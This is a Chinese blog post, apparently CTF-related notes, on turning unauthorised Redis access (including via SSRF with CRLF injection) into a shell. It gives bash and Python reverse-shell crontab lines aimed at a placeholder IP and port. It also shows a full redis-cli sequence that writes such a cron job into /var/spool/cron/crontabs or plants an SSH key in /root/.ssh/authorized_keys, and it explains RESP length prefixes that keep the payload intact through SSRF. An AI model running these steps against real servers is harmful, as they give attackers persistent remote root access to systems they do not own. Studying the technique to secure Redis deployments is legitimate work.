关于redis写shell的一些思考

关于redis的未授权访问也比较多,之前看到hctf的那到ssrf,配合python的urllib库的漏洞,可以通过url注入回车换行从而可以控制其服务端对请求头的处理。

一般常见的利用方式有两种,一种是写crontab,还有一种是写ssh秘钥

1.写crontab

其ubuntu的crontab的目录为/etc/crontab

简单了解一下crontab

crontab的语法格式:* * * * * /command path

其中前五个字段可以取整数值,指定何时开始工作,第六个域是字符串,即命令字段,其中包括了crontab调度执行的命令。 各个字段之间用spaces和tabs分割。

前5个字段分别表示:

分钟:0-59

小时:1-23

日期:1-31

月份:1-12

星期:0-6(0表示周日)

一些特殊符号:

*: 表示任何时刻

,: 表示分割

-:表示一个段,如第二端里: 1-5,就表示1到5点

/n : 表示每个n的单位执行一次,如第二段里,*/1, 就表示每隔1个小时执行一次命令。也可以写成1-23/1.

我们常用反弹shell两个方式python或者bash

利用bash来,常用的命令

*/1 * * * * /bin/bash -i >& /dev/tcp/ip/端口 0>&1
* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

如何利用redis写crontab

我们可以用过命令将redis的数据库目录修改到crontab,再将其输出到文件。

127.0.0.1:6379> config set dir /var/spool/cron/crontab
(error) ERR Changing directory: No such file or directory
127.0.0.1:6379> config set dir /var/spool/cron/crontabs
OK
127.0.0.1:6379> config set dbfilename root
OK
127.0.0.1:6379> set leej “\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/ip/端口 0>&1\n”
127.0.0.1:6379> save
OK

2.写ssh秘钥

本地生成一个私钥,在通过redis设置目录

config set dir /root/.ssh/
config set dbfilename authorized_keys

接下来在

xxxx "\n\n\nssh-rsa key_pub\n\n\n"
set leej "\n\n\nssh-rsa key_pub\n\n\n"
save

如果我们是通过ssrf的话,其字符串经过多次辗转,其中的空格常常会被截断从而导致失败

空格的处理

这一点我在网上找了一些有关利用中的方式,但看了都不是很理解那个如何构造redis协议的,后面想到通过抓包可以直接查看一下redis服务端和客户端的通信方式就明白了。

下面通过redis服务端执行,

set leej “hello”
set leej “hello word”
get leej

抓包查看流

*3
$3
set
$4
leej
$5
hello
+OK
*3
$3
set
$4
leej
$10
hello word
+OK
*2
$3
get
$4
leej
$10
hello word

看到虽然还是有空格但是之前有$10的十个字符的限定,就可以不被截断了。

文章目录
  1. 1. 1.写crontab
    1. 1.1. 简单了解一下crontab
    2. 1.2. 如何利用redis写crontab
  2. 2. 2.写ssh秘钥
    1. 2.1. 空格的处理